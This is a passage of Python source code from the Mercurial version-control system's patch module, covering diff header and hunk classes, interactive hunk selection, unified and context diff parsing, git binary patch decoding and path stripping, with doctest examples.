         return any(h.startswith(b'index ') for h in self.header)
 
     def pretty(self, fp):
         for h in self.header:
             if h.startswith(b'index '):
                 fp.write(_(b'this modifies a binary file (all or nothing)\n'))
                 break
             if self.pretty_re.match(h):
                 fp.write(h)
                 if self.binary():
                     fp.write(_(b'this is a binary file\n'))
                 break
             if h.startswith(b'---'):
                 fp.write(
                     _(b'%d hunks, %d lines changed\n')
                     % (
                         len(self.hunks),
                         sum([max(h.added, h.removed) for h in self.hunks]),
                     )
                 )
                 break
             fp.write(h)
 
     def write(self, fp):
         fp.write(b''.join(self.header))
 
     def allhunks(self):
         return any(self.allhunks_re.match(h) for h in self.header)
 
     def files(self):
         match = self.diffgit_re.match(self.header[0])
         if match:
             fromfile, tofile = match.groups()
             if fromfile == tofile:
                 return [fromfile]
             return [fromfile, tofile]
         else:
             return self.diff_re.match(self.header[0]).groups()
 
     def filename(self):
         return self.files()[-1]
 
     def __repr__(self):
         return '<header %s>' % (
             ' '.join(pycompat.rapply(pycompat.fsdecode, self.files()))
         )
 
     def isnewfile(self):
         return any(self.newfile_re.match(h) for h in self.header)
 
     def special(self):
         # Special files are shown only at the header level and not at the hunk
         # level for example a file that has been deleted is a special file.
         # The user cannot change the content of the operation, in the case of
         # the deleted file he has to take the deletion or not take it, he
         # cannot take some of it.
         # Newly added files are special if they are empty, they are not special
         # if they have some content as we want to be able to change it
         nocontent = len(self.header) == 2
         emptynewfile = self.isnewfile() and nocontent
         return emptynewfile or any(
             self.special_re.match(h) for h in self.header
         )
 
 
 class recordhunk(object):
     """patch hunk
 
     XXX shouldn't we merge this with the other hunk class?
     """
 
     def __init__(
         self,
         header,
         fromline,
         toline,
         proc,
         before,
         hunk,
         after,
         maxcontext=None,
     ):
         def trimcontext(lines, reverse=False):
             if maxcontext is not None:
                 delta = len(lines) - maxcontext
                 if delta > 0:
                     if reverse:
                         return delta, lines[delta:]
                     else:
                         return delta, lines[:maxcontext]
             return 0, lines
 
         self.header = header
         trimedbefore, self.before = trimcontext(before, True)
         self.fromline = fromline + trimedbefore
         self.toline = toline + trimedbefore
         _trimedafter, self.after = trimcontext(after, False)
         self.proc = proc
         self.hunk = hunk
         self.added, self.removed = self.countchanges(self.hunk)
 
     def __eq__(self, v):
         if not isinstance(v, recordhunk):
             return False
 
         return (
             (v.hunk == self.hunk)
             and (v.proc == self.proc)
             and (self.fromline == v.fromline)
             and (self.header.files() == v.header.files())
         )
 
     def __hash__(self):
         return hash(
             (
                 tuple(self.hunk),
                 tuple(self.header.files()),
                 self.fromline,
                 self.proc,
             )
         )
 
     def countchanges(self, hunk):
         """hunk -> (n+,n-)"""
         add = len([h for h in hunk if h.startswith(b'+')])
         rem = len([h for h in hunk if h.startswith(b'-')])
         return add, rem
 
     def reversehunk(self):
         """return another recordhunk which is the reverse of the hunk
 
         If this hunk is diff(A, B), the returned hunk is diff(B, A). To do
         that, swap fromline/toline and +/- signs while keep other things
         unchanged.
         """
         m = {b'+': b'-', b'-': b'+', b'\\': b'\\'}
         hunk = [b'%s%s' % (m[l[0:1]], l[1:]) for l in self.hunk]
         return recordhunk(
             self.header,
             self.toline,
             self.fromline,
             self.proc,
             self.before,
             hunk,
             self.after,
         )
 
     def write(self, fp):
         delta = len(self.before) + len(self.after)
         if self.after and self.after[-1] == b'\\ No newline at end of file\n':
             delta -= 1
         fromlen = delta + self.removed
         tolen = delta + self.added
         fp.write(
             b'@@ -%d,%d +%d,%d @@%s\n'
             % (
                 self.fromline,
                 fromlen,
                 self.toline,
                 tolen,
                 self.proc and (b' ' + self.proc),
             )
         )
         fp.write(b''.join(self.before + self.hunk + self.after))
 
     pretty = write
 
     def filename(self):
         return self.header.filename()
 
     def __repr__(self):
         return b'<hunk %r@%d>' % (self.filename(), self.fromline)
 
 
 def getmessages():
     return {
         b'multiple': {
             b'apply': _(b"apply change %d/%d to '%s'?"),
             b'discard': _(b"discard change %d/%d to '%s'?"),
             b'keep': _(b"keep change %d/%d to '%s'?"),
             b'record': _(b"record change %d/%d to '%s'?"),
         },
         b'single': {
             b'apply': _(b"apply this change to '%s'?"),
             b'discard': _(b"discard this change to '%s'?"),
             b'keep': _(b"keep this change to '%s'?"),
             b'record': _(b"record this change to '%s'?"),
         },
         b'help': {
             b'apply': _(
                 b'[Ynesfdaq?]'
                 b'$$ &Yes, apply this change'
                 b'$$ &No, skip this change'
                 b'$$ &Edit this change manually'
                 b'$$ &Skip remaining changes to this file'
                 b'$$ Apply remaining changes to this &file'
                 b'$$ &Done, skip remaining changes and files'
                 b'$$ Apply &all changes to all remaining files'
                 b'$$ &Quit, applying no changes'
                 b'$$ &? (display help)'
             ),
             b'discard': _(
                 b'[Ynesfdaq?]'
                 b'$$ &Yes, discard this change'
                 b'$$ &No, skip this change'
                 b'$$ &Edit this change manually'
                 b'$$ &Skip remaining changes to this file'
                 b'$$ Discard remaining changes to this &file'
                 b'$$ &Done, skip remaining changes and files'
                 b'$$ Discard &all changes to all remaining files'
                 b'$$ &Quit, discarding no changes'
                 b'$$ &? (display help)'
             ),
             b'keep': _(
                 b'[Ynesfdaq?]'
                 b'$$ &Yes, keep this change'
                 b'$$ &No, skip this change'
                 b'$$ &Edit this change manually'
                 b'$$ &Skip remaining changes to this file'
                 b'$$ Keep remaining changes to this &file'
                 b'$$ &Done, skip remaining changes and files'
                 b'$$ Keep &all changes to all remaining files'
                 b'$$ &Quit, keeping all changes'
                 b'$$ &? (display help)'
             ),
             b'record': _(
                 b'[Ynesfdaq?]'
                 b'$$ &Yes, record this change'
                 b'$$ &No, skip this change'
                 b'$$ &Edit this change manually'
                 b'$$ &Skip remaining changes to this file'
                 b'$$ Record remaining changes to this &file'
                 b'$$ &Done, skip remaining changes and files'
                 b'$$ Record &all changes to all remaining files'
                 b'$$ &Quit, recording no changes'
                 b'$$ &? (display help)'
             ),
         },
     }
 
 
 def filterpatch(ui, headers, match, operation=None):
     """Interactively filter patch chunks into applied-only chunks"""
     messages = getmessages()
 
     if operation is None:
         operation = b'record'
 
     def prompt(skipfile, skipall, query, chunk):
         """prompt query, and process base inputs
 
         - y/n for the rest of file
         - y/n for the rest
         - ? (help)
         - q (quit)
 
         Return True/False and possibly updated skipfile and skipall.
         """
         newpatches = None
         if skipall is not None:
             return skipall, skipfile, skipall, newpatches
         if skipfile is not None:
             return skipfile, skipfile, skipall, newpatches
         while True:
             resps = messages[b'help'][operation]
             # IMPORTANT: keep the last line of this prompt short (<40 english
             # chars is a good target) because of issue6158.
             r = ui.promptchoice(b"%s\n(enter ? for help) %s" % (query, resps))
             ui.write(b"\n")
             if r == 8:  # ?
                 for c, t in ui.extractchoices(resps)[1]:
                     ui.write(b'%s - %s\n' % (c, encoding.lower(t)))
                 continue
             elif r == 0:  # yes
                 ret = True
             elif r == 1:  # no
                 ret = False
             elif r == 2:  # Edit patch
                 if chunk is None:
                     ui.write(_(b'cannot edit patch for whole file'))
                     ui.write(b"\n")
                     continue
                 if chunk.header.binary():
                     ui.write(_(b'cannot edit patch for binary file'))
                     ui.write(b"\n")
                     continue
                 # Patch comment based on the Git one (based on comment at end of
                 # https://mercurial-scm.org/wiki/RecordExtension)
                 phelp = b'---' + _(
                     """
 To remove '-' lines, make them ' ' lines (context).
 To remove '+' lines, delete them.
 Lines starting with # will be removed from the patch.
 
 If the patch applies cleanly, the edited hunk will immediately be
 added to the record list. If it does not apply cleanly, a rejects
 file will be generated: you can use that when you try again. If
 all lines of the hunk are removed, then the edit is aborted and
 the hunk is left unchanged.
 """
                 )
                 (patchfd, patchfn) = pycompat.mkstemp(
                     prefix=b"hg-editor-", suffix=b".diff"
                 )
                 ncpatchfp = None
                 try:
                     # Write the initial patch
                     f = util.nativeeolwriter(os.fdopen(patchfd, 'wb'))
                     chunk.header.write(f)
                     chunk.write(f)
                     f.write(
                         b''.join(
                             [b'# ' + i + b'\n' for i in phelp.splitlines()]
                         )
                     )
                     f.close()
                     # Start the editor and wait for it to complete
                     editor = ui.geteditor()
                     ret = ui.system(
                         b"%s \"%s\"" % (editor, patchfn),
                         environ={b'HGUSER': ui.username()},
                         blockedtag=b'filterpatch',
                     )
                     if ret != 0:
                         ui.warn(_(b"editor exited with exit code %d\n") % ret)
                         continue
                     # Remove comment lines
                     patchfp = open(patchfn, 'rb')
                     ncpatchfp = stringio()
                     for line in util.iterfile(patchfp):
                         line = util.fromnativeeol(line)
                         if not line.startswith(b'#'):
                             ncpatchfp.write(line)
                     patchfp.close()
                     ncpatchfp.seek(0)
                     newpatches = parsepatch(ncpatchfp)
                 finally:
                     os.unlink(patchfn)
                     del ncpatchfp
                 # Signal that the chunk shouldn't be applied as-is, but
                 # provide the new patch to be used instead.
                 ret = False
             elif r == 3:  # Skip
                 ret = skipfile = False
             elif r == 4:  # file (Record remaining)
                 ret = skipfile = True
             elif r == 5:  # done, skip remaining
                 ret = skipall = False
             elif r == 6:  # all
                 ret = skipall = True
             elif r == 7:  # quit
                 raise error.Abort(_(b'user quit'))
             return ret, skipfile, skipall, newpatches
 
     seen = set()
     applied = {}  # 'filename' -> [] of chunks
     skipfile, skipall = None, None
     pos, total = 1, sum(len(h.hunks) for h in headers)
     for h in headers:
         pos += len(h.hunks)
         skipfile = None
         fixoffset = 0
         hdr = b''.join(h.header)
         if hdr in seen:
             continue
         seen.add(hdr)
         if skipall is None:
             h.pretty(ui)
         files = h.files()
         msg = _(b'examine changes to %s?') % _(b' and ').join(
             b"'%s'" % f for f in files
         )
         if all(match.exact(f) for f in files):
             r, skipall, np = True, None, None
         else:
             r, skipfile, skipall, np = prompt(skipfile, skipall, msg, None)
         if not r:
             continue
         applied[h.filename()] = [h]
         if h.allhunks():
             applied[h.filename()] += h.hunks
             continue
         for i, chunk in enumerate(h.hunks):
             if skipfile is None and skipall is None:
                 chunk.pretty(ui)
             if total == 1:
                 msg = messages[b'single'][operation] % chunk.filename()
             else:
                 idx = pos - len(h.hunks) + i
                 msg = messages[b'multiple'][operation] % (
                     idx,
                     total,
                     chunk.filename(),
                 )
             r, skipfile, skipall, newpatches = prompt(
                 skipfile, skipall, msg, chunk
             )
             if r:
                 if fixoffset:
                     chunk = copy.copy(chunk)
                     chunk.toline += fixoffset
                 applied[chunk.filename()].append(chunk)
             elif newpatches is not None:
                 for newpatch in newpatches:
                     for newhunk in newpatch.hunks:
                         if fixoffset:
                             newhunk.toline += fixoffset
                         applied[newhunk.filename()].append(newhunk)
             else:
                 fixoffset += chunk.removed - chunk.added
     return (
         sum(
             [
                 h
                 for h in pycompat.itervalues(applied)
                 if h[0].special() or len(h) > 1
             ],
             [],
         ),
         {},
     )
 
 
 class hunk(object):
     def __init__(self, desc, num, lr, context):
         self.number = num
         self.desc = desc
         self.hunk = [desc]
         self.a = []
         self.b = []
         self.starta = self.lena = None
         self.startb = self.lenb = None
         if lr is not None:
             if context:
                 self.read_context_hunk(lr)
             else:
                 self.read_unified_hunk(lr)
 
     def getnormalized(self):
         """Return a copy with line endings normalized to LF."""
 
         def normalize(lines):
             nlines = []
             for line in lines:
                 if line.endswith(b'\r\n'):
                     line = line[:-2] + b'\n'
                 nlines.append(line)
             return nlines
 
         # Dummy object, it is rebuilt manually
         nh = hunk(self.desc, self.number, None, None)
         nh.number = self.number
         nh.desc = self.desc
         nh.hunk = self.hunk
         nh.a = normalize(self.a)
         nh.b = normalize(self.b)
         nh.starta = self.starta
         nh.startb = self.startb
         nh.lena = self.lena
         nh.lenb = self.lenb
         return nh
 
     def read_unified_hunk(self, lr):
         m = unidesc.match(self.desc)
         if not m:
             raise PatchError(_(b"bad hunk #%d") % self.number)
         self.starta, self.lena, self.startb, self.lenb = m.groups()
         if self.lena is None:
             self.lena = 1
         else:
             self.lena = int(self.lena)
         if self.lenb is None:
             self.lenb = 1
         else:
             self.lenb = int(self.lenb)
         self.starta = int(self.starta)
         self.startb = int(self.startb)
         try:
             diffhelper.addlines(
                 lr, self.hunk, self.lena, self.lenb, self.a, self.b
             )
         except error.ParseError as e:
             raise PatchError(_(b"bad hunk #%d: %s") % (self.number, e))
         # if we hit eof before finishing out the hunk, the last line will
         # be zero length.  Lets try to fix it up.
         while len(self.hunk[-1]) == 0:
             del self.hunk[-1]
             del self.a[-1]
             del self.b[-1]
             self.lena -= 1
             self.lenb -= 1
         self._fixnewline(lr)
 
     def read_context_hunk(self, lr):
         self.desc = lr.readline()
         m = contextdesc.match(self.desc)
         if not m:
             raise PatchError(_(b"bad hunk #%d") % self.number)
         self.starta, aend = m.groups()
         self.starta = int(self.starta)
         if aend is None:
             aend = self.starta
         self.lena = int(aend) - self.starta
         if self.starta:
             self.lena += 1
         for x in pycompat.xrange(self.lena):
             l = lr.readline()
             if l.startswith(b'---'):
                 # lines addition, old block is empty
                 lr.push(l)
                 break
             s = l[2:]
             if l.startswith(b'- ') or l.startswith(b'! '):
                 u = b'-' + s
             elif l.startswith(b'  '):
                 u = b' ' + s
             else:
                 raise PatchError(
                     _(b"bad hunk #%d old text line %d") % (self.number, x)
                 )
             self.a.append(u)
             self.hunk.append(u)
 
         l = lr.readline()
         if l.startswith(br'\ '):
             s = self.a[-1][:-1]
             self.a[-1] = s
             self.hunk[-1] = s
             l = lr.readline()
         m = contextdesc.match(l)
         if not m:
             raise PatchError(_(b"bad hunk #%d") % self.number)
         self.startb, bend = m.groups()
         self.startb = int(self.startb)
         if bend is None:
             bend = self.startb
         self.lenb = int(bend) - self.startb
         if self.startb:
             self.lenb += 1
         hunki = 1
         for x in pycompat.xrange(self.lenb):
             l = lr.readline()
             if l.startswith(br'\ '):
                 # XXX: the only way to hit this is with an invalid line range.
                 # The no-eol marker is not counted in the line range, but I
                 # guess there are diff(1) out there which behave differently.
                 s = self.b[-1][:-1]
                 self.b[-1] = s
                 self.hunk[hunki - 1] = s
                 continue
             if not l:
                 # line deletions, new block is empty and we hit EOF
                 lr.push(l)
                 break
             s = l[2:]
             if l.startswith(b'+ ') or l.startswith(b'! '):
                 u = b'+' + s
             elif l.startswith(b'  '):
                 u = b' ' + s
             elif len(self.b) == 0:
                 # line deletions, new block is empty
                 lr.push(l)
                 break
             else:
                 raise PatchError(
                     _(b"bad hunk #%d old text line %d") % (self.number, x)
                 )
             self.b.append(s)
             while True:
                 if hunki >= len(self.hunk):
                     h = b""
                 else:
                     h = self.hunk[hunki]
                 hunki += 1
                 if h == u:
                     break
                 elif h.startswith(b'-'):
                     continue
                 else:
                     self.hunk.insert(hunki - 1, u)
                     break
 
         if not self.a:
             # this happens when lines were only added to the hunk
             for x in self.hunk:
                 if x.startswith(b'-') or x.startswith(b' '):
                     self.a.append(x)
         if not self.b:
             # this happens when lines were only deleted from the hunk
             for x in self.hunk:
                 if x.startswith(b'+') or x.startswith(b' '):
                     self.b.append(x[1:])
         # @@ -start,len +start,len @@
         self.desc = b"@@ -%d,%d +%d,%d @@\n" % (
             self.starta,
             self.lena,
             self.startb,
             self.lenb,
         )
         self.hunk[0] = self.desc
         self._fixnewline(lr)
 
     def _fixnewline(self, lr):
         l = lr.readline()
         if l.startswith(br'\ '):
             diffhelper.fixnewline(self.hunk, self.a, self.b)
         else:
             lr.push(l)
 
     def complete(self):
         return len(self.a) == self.lena and len(self.b) == self.lenb
 
     def _fuzzit(self, old, new, fuzz, toponly):
         # this removes context lines from the top and bottom of list 'l'.  It
         # checks the hunk to make sure only context lines are removed, and then
         # returns a new shortened list of lines.
         fuzz = min(fuzz, len(old))
         if fuzz:
             top = 0
             bot = 0
             hlen = len(self.hunk)
             for x in pycompat.xrange(hlen - 1):
                 # the hunk starts with the @@ line, so use x+1
                 if self.hunk[x + 1].startswith(b' '):
                     top += 1
                 else:
                     break
             if not toponly:
                 for x in pycompat.xrange(hlen - 1):
                     if self.hunk[hlen - bot - 1].startswith(b' '):
                         bot += 1
                     else:
                         break
 
             bot = min(fuzz, bot)
             top = min(fuzz, top)
             return old[top : len(old) - bot], new[top : len(new) - bot], top
         return old, new, 0
 
     def fuzzit(self, fuzz, toponly):
         old, new, top = self._fuzzit(self.a, self.b, fuzz, toponly)
         oldstart = self.starta + top
         newstart = self.startb + top
         # zero length hunk ranges already have their start decremented
         if self.lena and oldstart > 0:
             oldstart -= 1
         if self.lenb and newstart > 0:
             newstart -= 1
         return old, oldstart, new, newstart
 
 
 class binhunk(object):
     """A binary patch file."""
 
     def __init__(self, lr, fname):
         self.text = None
         self.delta = False
         self.hunk = [b'GIT binary patch\n']
         self._fname = fname
         self._read(lr)
 
     def complete(self):
         return self.text is not None
 
     def new(self, lines):
         if self.delta:
             return [applybindelta(self.text, b''.join(lines))]
         return [self.text]
 
     def _read(self, lr):
         def getline(lr, hunk):
             l = lr.readline()
             hunk.append(l)
             return l.rstrip(b'\r\n')
 
         while True:
             line = getline(lr, self.hunk)
             if not line:
                 raise PatchError(
                     _(b'could not extract "%s" binary data') % self._fname
                 )
             if line.startswith(b'literal '):
                 size = int(line[8:].rstrip())
                 break
             if line.startswith(b'delta '):
                 size = int(line[6:].rstrip())
                 self.delta = True
                 break
         dec = []
         line = getline(lr, self.hunk)
         while len(line) > 1:
             l = line[0:1]
             if l <= b'Z' and l >= b'A':
                 l = ord(l) - ord(b'A') + 1
             else:
                 l = ord(l) - ord(b'a') + 27
             try:
                 dec.append(util.b85decode(line[1:])[:l])
             except ValueError as e:
                 raise PatchError(
                     _(b'could not decode "%s" binary patch: %s')
                     % (self._fname, stringutil.forcebytestr(e))
                 )
             line = getline(lr, self.hunk)
         text = zlib.decompress(b''.join(dec))
         if len(text) != size:
             raise PatchError(
                 _(b'"%s" length is %d bytes, should be %d')
                 % (self._fname, len(text), size)
             )
         self.text = text
 
 
 def parsefilename(str):
     # --- filename \t|space stuff
     s = str[4:].rstrip(b'\r\n')
     i = s.find(b'\t')
     if i < 0:
         i = s.find(b' ')
         if i < 0:
             return s
     return s[:i]
 
 
 def reversehunks(hunks):
     '''reverse the signs in the hunks given as argument
 
     This function operates on hunks coming out of patch.filterpatch, that is
     a list of the form: [header1, hunk1, hunk2, header2...]. Example usage:
 
     >>> rawpatch = b"""diff --git a/folder1/g b/folder1/g
     ... --- a/folder1/g
     ... +++ b/folder1/g
     ... @@ -1,7 +1,7 @@
     ... +firstline
     ...  c
     ...  1
     ...  2
     ... + 3
     ... -4
     ...  5
     ...  d
     ... +lastline"""
     >>> hunks = parsepatch([rawpatch])
     >>> hunkscomingfromfilterpatch = []
     >>> for h in hunks:
     ...     hunkscomingfromfilterpatch.append(h)
     ...     hunkscomingfromfilterpatch.extend(h.hunks)
 
     >>> reversedhunks = reversehunks(hunkscomingfromfilterpatch)
     >>> from . import util
     >>> fp = util.stringio()
     >>> for c in reversedhunks:
     ...      c.write(fp)
     >>> fp.seek(0) or None
     >>> reversedpatch = fp.read()
     >>> print(pycompat.sysstr(reversedpatch))
     diff --git a/folder1/g b/folder1/g
     --- a/folder1/g
     +++ b/folder1/g
     @@ -1,4 +1,3 @@
     -firstline
      c
      1
      2
     @@ -2,6 +1,6 @@
      c
      1
      2
     - 3
     +4
      5
      d
     @@ -6,3 +5,2 @@
      5
      d
     -lastline
 
     '''
 
     newhunks = []
     for c in hunks:
         if util.safehasattr(c, b'reversehunk'):
             c = c.reversehunk()
         newhunks.append(c)
     return newhunks
 
 
 def parsepatch(originalchunks, maxcontext=None):
     """patch -> [] of headers -> [] of hunks
 
     If maxcontext is not None, trim context lines if necessary.
 
     >>> rawpatch = b'''diff --git a/folder1/g b/folder1/g
     ... --- a/folder1/g
     ... +++ b/folder1/g
     ... @@ -1,8 +1,10 @@
     ...  1
     ...  2
     ... -3
     ...  4
     ...  5
     ...  6
     ... +6.1
     ... +6.2
     ...  7
     ...  8
     ... +9'''
     >>> out = util.stringio()
     >>> headers = parsepatch([rawpatch], maxcontext=1)
     >>> for header in headers:
     ...     header.write(out)
     ...     for hunk in header.hunks:
     ...         hunk.write(out)
     >>> print(pycompat.sysstr(out.getvalue()))
     diff --git a/folder1/g b/folder1/g
     --- a/folder1/g
     +++ b/folder1/g
     @@ -2,3 +2,2 @@
      2
     -3
      4
     @@ -6,2 +5,4 @@
      6
     +6.1
     +6.2
      7
     @@ -8,1 +9,2 @@
      8
     +9
     """
 
     class parser(object):
         """patch parsing state machine"""
 
         def __init__(self):
             self.fromline = 0
             self.toline = 0
             self.proc = b''
             self.header = None
             self.context = []
             self.before = []
             self.hunk = []
             self.headers = []
 
         def addrange(self, limits):
             self.addcontext([])
             fromstart, fromend, tostart, toend, proc = limits
             self.fromline = int(fromstart)
             self.toline = int(tostart)
             self.proc = proc
 
         def addcontext(self, context):
             if self.hunk:
                 h = recordhunk(
                     self.header,
                     self.fromline,
                     self.toline,
                     self.proc,
                     self.before,
                     self.hunk,
                     context,
                     maxcontext,
                 )
                 self.header.hunks.append(h)
                 self.fromline += len(self.before) + h.removed
                 self.toline += len(self.before) + h.added
                 self.before = []
                 self.hunk = []
             self.context = context
 
         def addhunk(self, hunk):
             if self.context:
                 self.before = self.context
                 self.context = []
             if self.hunk:
                 self.addcontext([])
             self.hunk = hunk
 
         def newfile(self, hdr):
             self.addcontext([])
             h = header(hdr)
             self.headers.append(h)
             self.header = h
 
         def addother(self, line):
             pass  # 'other' lines are ignored
 
         def finished(self):
             self.addcontext([])
             return self.headers
 
         transitions = {
             b'file': {
                 b'context': addcontext,
                 b'file': newfile,
                 b'hunk': addhunk,
                 b'range': addrange,
             },
             b'context': {
                 b'file': newfile,
                 b'hunk': addhunk,
                 b'range': addrange,
                 b'other': addother,
             },
             b'hunk': {
                 b'context': addcontext,
                 b'file': newfile,
                 b'range': addrange,
             },
             b'range': {b'context': addcontext, b'hunk': addhunk},
             b'other': {b'other': addother},
         }
 
     p = parser()
     fp = stringio()
     fp.write(b''.join(originalchunks))
     fp.seek(0)
 
     state = b'context'
     for newstate, data in scanpatch(fp):
         try:
             p.transitions[state][newstate](p, data)
         except KeyError:
             raise PatchError(
                 b'unhandled transition: %s -> %s' % (state, newstate)
             )
         state = newstate
     del fp
     return p.finished()
 
 
 def pathtransform(path, strip, prefix):
     '''turn a path from a patch into a path suitable for the repository
 
     prefix, if not empty, is expected to be normalized with a / at the end.
 
     Returns (stripped components, path in repository).
 
     >>> pathtransform(b'a/b/c', 0, b'')
     ('', 'a/b/c')
     >>> pathtransform(b'   a/b/c   ', 0, b'')
     ('', '   a/b/c')
     >>> pathtransform(b'   a/b/c   ', 2, b'')
     ('a/b/', 'c')
     >>> pathtransform(b'a/b/c', 0, b'd/e/')
     ('', 'd/e/a/b/c')
     >>> pathtransform(b'   a//b/c   ', 2, b'd/e/')
     ('a//b/', 'd/e/c')
     >>> pathtransform(b'a/b/c', 3, b'')
     Traceback (most recent call last):
     PatchError: unable to strip away 1 of 3 dirs from a/b/c
     '''
     pathlen = len(path)
     i = 0
     if strip == 0:
         return b'', prefix + path.rstrip()
     count = strip
     while count > 0:
         i = path.find(b'/', i)
         if i == -1:
             raise PatchError(
                 _(b"unable to strip away %d of %d dirs from %s")
                 % (count, strip, path)
             )
         i += 1
         # consume '//' in the path
         while i < pathlen - 1 and path[i : i + 1] == b'/':
             i += 1
         count -= 1
     return path[:i].lstrip(), prefix + path[i:].rstrip()
 
 
 def makepatchmeta(backend, afile_orig, bfile_orig, hunk, strip, prefix):
     nulla = afile_orig == b"/dev/null"
     nullb = bfile_orig == b"/dev/null"
     create = nulla and hunk.starta == 0 and hunk.lena == 0
     remove = nullb and hunk.startb == 0 and hunk.lenb == 0
     abase, afile = pathtransform(afile_orig, strip, prefix)
     gooda = not nulla and backend.exists(afile)
     bbase, bfile = pathtransform(bfile_orig, strip, prefix)
     if afile == bfile:
         goodb = gooda
     else:
         goodb = not nullb and backend.exists(bfile)
     missing = not goodb and not gooda and not create
 
     # some diff programs apparently produce patches where the afile is
     # not /dev/null, but afile starts with bfile
     abasedir = afile[: afile.rfind(b'/') + 1]
     bbasedir = bfile[: bfile.rfind(b'/') + 1]
     if (
         missing
         and abasedir == bbasedir
         and afile.startswith(bfile)
         and hunk.starta == 0
         and hunk.lena == 0
     ):
         create = True
         missing = False
 
     # If afile is "a/b/foo" and bfile is "a/b/foo.orig" we assume the
     # diff is between a file and its backup. In this case, the original
     # file should be patched (see original mpatch code).
     isbackup = abase == bbase and bfile.startswith(afile)
     fname = None
     if not missing:
         if gooda and goodb:
             if isbackup:
                 fname = afile
             else:
                 fname = bfile
         elif gooda:
             fname = afile
 
     if not fname:
         if not nullb:
             if isbackup:
                 fname = afile
             else:
                 fname = bfile
         elif not nulla:
             fname = afile
         else:
             raise PatchError(_(b"undefined source and destination files"))
 
     gp = patchmeta(fname)
     if create:
         gp.op = b'ADD'
     elif remove:
         gp.op = b'DELETE'
     return gp
 
 
 def scanpatch(fp):
     """like patch.iterhunks, but yield different events
 
     - ('file',    [header_lines + fromfile + tofile])
     - ('context', [context_lines])
     - ('hunk',    [hunk_lines])
     - ('range',   (-start,len, +start,len, proc))
     """
     lines_re = re.compile(br'@@ -(\d+),(\d+) \+(\d+),(\d+) @@\s*(.*)')
     lr = linereader(fp)
 
     def scanwhile(first, p):
         """scan lr while predicate holds"""
         lines = [first]
         for line in iter(lr.readline, b''):
             if p(line):
                 lines.append(line)
             else:
                 lr.push(line)
                 break
         return lines
 
     for line in iter(lr.readline, b''):
         if line.startswith(b'diff --git a/') or line.startswith(b'diff -r '):
 
             def notheader(line):
                 s = line.split(None, 1)
                 return not s or s[0] not in (b'---', b'diff')
 
             header = scanwhile(line, notheader)
             fromfile = lr.readline()
             if fromfile.startswith(b'---'):
                 tofile = lr.readline()
                 header += [fromfile, tofile]
             else:
                 lr.push(fromfile)
             yield b'file', header
         elif line.startswith(b' '):
             cs = (b' ', b'\\')
             yield b'context', scanwhile(line, lambda l: l.startswith(cs))
         elif line.startswith((b'-', b'+')):
             cs = (b'-', b'+', b'\\')
             yield b'hunk', scanwhile(line, lambda l: l.startswith(cs))
         else:
             m = lines_re.match(line)
             if m:
                 yield b'range', m.groups()
             else:
                 yield b'other', line
 
 
 def scangitpatch(lr, firstline):
     """
     Git patches can emit:
     - rename a to b
     - change b
     - copy a to c
     - change c
 
     We cannot apply this sequence as-is, the renamed 'a' could not be
     found for it would have been renamed already. And we cannot copy
     from 'b' instead because 'b' would have been changed already. So
     we scan the git patch for copy and rename commands so we can
     perform the copies ahead of time.
     """
     pos = 0
     try:
         pos = lr.fp.tell()
         fp = lr.fp
     except IOError:
         fp = stringio(lr.fp.read())
     gitlr = linereader(fp)
     gitlr.push(firstline)
     gitpatches = readgitpatch(gitlr)
     fp.seek(pos)
     return gitpatches
 
 
 def iterhunks(fp):
     """Read a patch and yield the following events:
     - ("file", afile, bfile, firsthunk): select a new target file.
     - ("hunk", hunk): a new hunk is ready to be applied, follows a
     "file" event.
     - ("git", gitchanges): current diff is in git format, gitchanges
     maps filenames to gitpatch records. Unique event.
     """
     afile = b""
     bfile = b""
     state = None
     hunknum = 0
     emitfile = newfile = False
     gitpatches = None
 
     # our states
     BFILE = 1
     context = None
     lr = linereader(fp)
 
     for x in iter(lr.readline, b''):
         if state == BFILE and (
             (not context and x.startswith(b'@'))
             or (context is not False and x.startswith(b'***************'))
             or x.startswith(b'GIT binary patch')
         ):
             gp = None
             if gitpatches and gitpatches[-1].ispatching(afile, bfile):
                 gp = gitpatches.pop()
             if x.startswith(b'GIT binary patch'):
                 h = binhunk(lr, gp.path)
             else:
                 if context is None and x.startswith(b'***************'):
                     context = True
                 h = hunk(x, hunknum + 1, lr, context)
             hunknum += 1
             if emitfile:
                 emitfile = False
                 yield b'file', (afile, bfile, h, gp and gp.copy() or None)
             yield b'hunk', h
         elif x.startswith(b'diff --git a/'):
             m = gitre.match(x.rstrip(b' \r\n'))
             if not m:
                 continue
             if gitpatches is None:
                 # scan whole input for git metadata
                 gitpatches = scangitpatch(lr, x)
                 yield b'git', [
                     g.copy() for g in gitpatches if g.op in (b'COPY', b'RENAME')
                 ]
                 gitpatches.reverse()
             afile = b'a/' + m.group(1)
             bfile = b'b/' + m.group(2)
             while gitpatches and not gitpatches[-1].ispatching(afile, bfile):
                 gp = gitpatches.pop()
                 yield b'file', (
                     b'a/' + gp.path,
                     b'b/' + gp.path,
                     None,
                     gp.copy(),
                 )
             if not gitpatches:
                 raise PatchError(
                     _(b'failed to synchronize metadata for "%s"') % afile[2:]
                 )
             newfile = True
         elif x.startswith(b'---'):
             # check for a unified diff
             l2 = lr.readline()
             if not l2.startswith(b'+++'):
                 lr.push(l2)
                 continue
             newfile = True
             context = False
             afile = parsefilename(x)
             bfile = parsefilename(l2)
         elif x.startswith(b'***'):
             # check for a context diff
             l2 = lr.readline()
             if not l2.startswith(b'---'):
                 lr.push(l2)
                 continue
             l3 = lr.readline()
             lr.push(l3)
             if not l3.startswith(b"***************"):
                 lr.push(l2)
                 continue
             newfile = True
             context = True
             afile = parsefilename(x)
             bfile = parsefilename(l2)
 
         if newfile:
             newfile = False
             emitfile = True
             state = BFILE
             hunknum = 0
 
     while gitpatches:
         gp = gitpatches.pop()
         yield b'file', (b'a/' + gp.path, b'b/' + gp.path, None, gp.copy())
 
 
 def applybindelta(binchunk, data):
     """Apply a binary delta hunk
     The algorithm used is the algorithm from git's patch-delta.c
     """
 
     def deltahead(binchunk):
         i = 0
         for c in pycompat.bytestr(binchunk):
             i += 1
             if not (ord(c) & 0x80):
                 return i
         return i
 
     out = b""
     s = deltahead(binchunk)
     binchunk = binchunk[s:]
     s = deltahead(binchunk)
     binchunk = binchunk[s:]
     i = 0
     while i < len(binchunk):
         cmd = ord(binchunk[i : i + 1])
         i += 1
         if cmd & 0x80:
             offset = 0
             size = 0
             if cmd & 0x01:
                 offset = ord(binchunk[i : i + 1])
                 i += 1
             if cmd & 0x02:
                 offset |= ord(binchunk[i : i + 1]) << 8
